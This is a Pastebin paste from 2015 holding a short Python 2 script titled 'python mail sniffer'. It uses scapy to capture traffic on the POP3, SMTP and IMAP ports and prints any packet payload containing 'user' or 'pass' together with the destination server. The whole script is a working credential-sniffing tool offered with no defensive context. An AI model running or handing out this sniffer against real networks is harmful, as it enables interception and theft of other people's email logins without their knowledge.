Advertisement
johnmahugu

python mail sniffer

Jun 3rd, 2015
161
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.48 KB | None | 0 0
  1. import threading
  2. from scapy.all import *
  3.  
  4. # our packet callback
  5. def packet_callback(packet):
  6.    
  7.     if packet[TCP].payload:
  8.    
  9.         mail_packet = str(packet[TCP].payload)
  10.  
  11.         if "user" in mail_packet.lower() or "pass" in mail_packet.lower():
  12.  
  13.             print "[*] Server: %s" % packet[IP].dst
  14.             print "[*] %s" % packet[TCP].payload
  15.  
  16.            
  17. # fire up our sniffer
  18. sniff(filter="tcp port 110 or tcp port 25 or tcp port 143",prn=packet_callback,store=0)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement